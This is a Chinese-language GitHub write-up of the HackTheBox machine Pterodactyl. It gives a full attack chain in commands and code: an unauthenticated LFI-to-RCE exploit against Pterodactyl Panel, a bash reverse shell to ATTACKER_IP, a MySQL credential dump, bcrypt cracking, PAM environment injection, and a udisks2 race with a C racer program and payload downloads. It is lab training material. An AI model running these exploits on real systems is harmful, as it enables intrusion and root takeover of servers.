karimelsheikh1/HTB-Pterodactyl-Writeup
GitHub: karimelsheikh1/HTB-Pterodactyl-Writeup
一份详细记录 HackTheBox Season 10 Pterodactyl 机器渗透过程的实战攻略,涵盖从 Web 面板 RCE 到 Linux 本地提权的完整攻击链。
Stars: 0 | Forks: 0
# HackTheBox — Pterodactyl Writeup
## 概要
Pterodactyl 是一台运行 Pterodactyl 游戏服务器面板的中等难度 Linux 机器。攻击链涉及面板中一个未经身份验证的 LFI-to-RCE 漏洞、通过 MySQL 提取凭据、破解 bcrypt 哈希以获取 SSH 访问权限,以及利用 PAM 会话注入和 udisks2 XFS 调整大小竞态条件的双 CVE 提权链。
**Flags:**
- User: `************************`
- Root: *(通过 CVE-2025-6019 获取)*
## 侦察
### Nmap
```
nmap -sSCV -A --min-rate 4000 10.129.44.184
```
**开放端口:**
| 端口 | 服务 | 版本 |
|------|---------|---------|
| 22 | SSH | OpenSSH 9.6p1 |
| 80 | HTTP | nginx/1.21.5 → pterodactyl.htb |
### /etc/hosts
```
echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts
```
## Web 枚举
```
dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt
```
**从更新日志中发现的关键信息:**
- 站点: **MonitorLand**
- 面板版本: **Pterodactyl Panel v1.11.10** (存在漏洞)
- PHP-PEAR 已启用
- 子域名: `panel.pterodactyl.htb`
### phpinfo.php 分析
```
curl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
```
| 设置 | 值 | 意义 |
|---------|-------|-------------|
| `register_argc_argv` | On | 启用 pearcmd CLI 利用 |
| `include_path` | `.:/usr/share/php8:/usr/share/php/PEAR` | pearcmd.php 可达 |
| `open_basedir` | *(无值)* | 不受限制的文件系统访问 |
## 初始访问 — CVE-2025-49132
**CVE-2025-49132** 影响 Pterodactyl Panel ≤ v1.11.10 版本。`/locales/locale.json` 端点将 `locale` 和 `namespace` 参数直接传递给 PHP 的 `include()` 函数,未经清理或身份验证,从而实现目录遍历和基于 pearcmd 的 RCE。
### 漏洞利用
```
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132
# 导出 config (DB creds + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb
# 测试 RCE
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "id" \
--pear-dir /usr/share/php/PEAR
```
**输出:** `uid=474(wwwrun) gid=477(www) groups=477(www)`
### 提取的凭据
| 服务 | 用户名 | 密码 |
|---------|----------|---------|
| MySQL | `pterodactyl` | `PteraPanel` |
| Laravel | APP_KEY | `base64:UaThTPQnUjrrK61o+...` |
### 反弹 Shell
```
# Listener
nc -lnvp 4444
# Exploit
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pear-dir /usr/share/php/PEAR
```
## 横向移动
### MySQL 凭据转储
```
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
-e "USE panel; SELECT username,email,password FROM users;"
```
| 用户名 | 哈希 |
|----------|------|
| `headmonitor` | `$2y$10$3WJht3/5GOQmOXdljPbAJet...` |
| `phileasfogg3` | `$2y$10$PwO0TBZA8hLB6nuSsxRqoO...` |
### User Flag
```
cat /home/phileasfogg3/user.txt
```
### 哈希破解
```
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3
```
**结果:** `phileasfogg3 : !QAZ2wsx`
### SSH 访问
```
ssh phileasfogg3@10.129.44.184
# password: !QAZ2wsx
```
## 权限提升
### Sudo 分析
```
sudo -l
```
已配置 `(ALL) ALL`,但 `targetpw` 默认选项需要 root 密码——阻止了标准的 sudo 滥用。
### 步骤 1 — CVE-2025-6018: PAM 会话绕过
**CVE-2025-6018** 利用 openSUSE 上的 `pam_env.so` 在登录时注入环境变量。通过将 `XDG_SEAT=seat0` 和 `XDG_VTNR=1` 放入 `~/.pam_environment`,远程 SSH 用户可以欺骗 Polkit 将其会话视为活动的本地控制台会话 (`allow_active`),从而解锁硬件管理的 D-Bus 操作。
```
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
# 退出并重新通过 SSH 登录 (PAM 会在全新登录时重新读取)
exit
ssh phileasfogg3@10.129.44.184
# 验证
echo $XDG_SEAT # seat0
echo $XDG_VTNR # 1
```
### 步骤 2 — CVE-2025-6019: udisks2 XFS 调整大小竞态条件 → Root
**CVE-2025-6019** 利用 libblockdev 中的一个缺失的 `nosuid` 标志,当 udisks2 在 `Filesystem.Resize` D-Bus 调用期间临时挂载 XFS 镜像时触发。通过在此窗口期竞态执行镜像内的 SUID 二进制文件,拥有 `allow_active` Polkit 权限的非特权用户可以获得 root shell。
#### 构建 XFS 镜像 (在攻击者机器上)
```
# 使用目标的 mkfs.xfs 创建 XFS image 以确保兼容性
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs
# 直接在目标上构建
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img
```
传输到攻击者,注入 SUID 二进制文件,然后传回:
```
# 在攻击者机器上 (以 root 身份)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl # Must show -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz
```
#### 编译快速 C 竞态程序
```
// racer.c
#include
#include
#include
#include
#include
#include
int main() {
char path[512], cmd[512];
struct stat st;
while(1) {
DIR *d = opendir("/tmp");
struct dirent *e;
while((e = readdir(d))) {
if(strncmp(e->d_name, "blockdev.", 9) == 0) {
snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
closedir(d);
snprintf(cmd, sizeof(cmd),
"%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
system(cmd);
return 0;
}
}
}
closedir(d);
}
}
```
```
gcc -O2 -o racer racer.c
```
#### 执行竞态
```
# 在目标上
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer
udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# 注意 loop device 编号 (例如 loop7)
rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &
for i in $(seq 1 300); do
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop7 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait
```
**结果:** 获得 Root shell。
```
id
# uid=0(root)
cat /root/root.txt
```
## 攻击链
```
[Nmap] Ports 22, 80
↓
[Web Enum] changelog.txt → Pterodactyl Panel v1.11.10
↓
[phpinfo.php] register_argc_argv=On, PEAR in include_path
↓
[CVE-2025-49132] Unauth LFI → pearcmd RCE → wwwrun shell
↓
[MySQL] pterodactyl:PteraPanel → bcrypt hashes
↓
[Hashcat] phileasfogg3:!QAZ2wsx
↓
[SSH] phileasfogg3
↓
[CVE-2025-6018] ~/.pam_environment → allow_active bypass
↓
[CVE-2025-6019] udisks2 XFS resize race → SUID exec → ROOT
```
## 凭据
| 服务 | 用户名 | 密码 |
|---------|----------|---------|
| MySQL | `pterodactyl` | `PteraPanel` |
| SSH / 面板 | `phileasfogg3` | `!QAZ2wsx` |
## 使用的工具
| 工具 | 用途 |
|------|---------|
| nmap | 端口扫描 |
| dirsearch | Web 目录爆破 |
| CVE-2025-49132 exploit | 未经身份验证的 LFI + pearcmd RCE |
| hashcat (-m 3200) | Bcrypt 破解 |
| CVE-2025-6018-6019 PoC | PAM 绕过 + udisks2 竞态 |
| 自定义 C 竞速程序 | 赢得 nosuid 竞态条件 |
## 参考
- [CVE-2025-49132 PoC](https://github.com/YoyoChaud/CVE-2025-49132)
- [CVE-2025-6018-6019 PoC](https://github.com/DesertDemons/CVE-2025-6018-6019)
- [Qualys 公告](https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/)
- [HackTheBox](https://app.hackthebox.com/machines/Pterodactyl)
*Writeup 由 [Your Name] 编写 | HackTheBox 第 10 赛季*
标签:CISA项目, CVE-2025-49132, CVE-2025-6018, CVE-2025-6019, DOS头擦除, HackTheBox, HTB, LFI, Nginx, OpenVAS, PAM注入, pearcmd, PHP, Pterodactyl, RCE, SSH, udisks2, Web报告查看器, Writeup, 协议分析, 密码破解, 应用安全, 提权, 本地文件包含, 权限提升, 编程工具, 网络安全, 远程代码执行, 隐私保护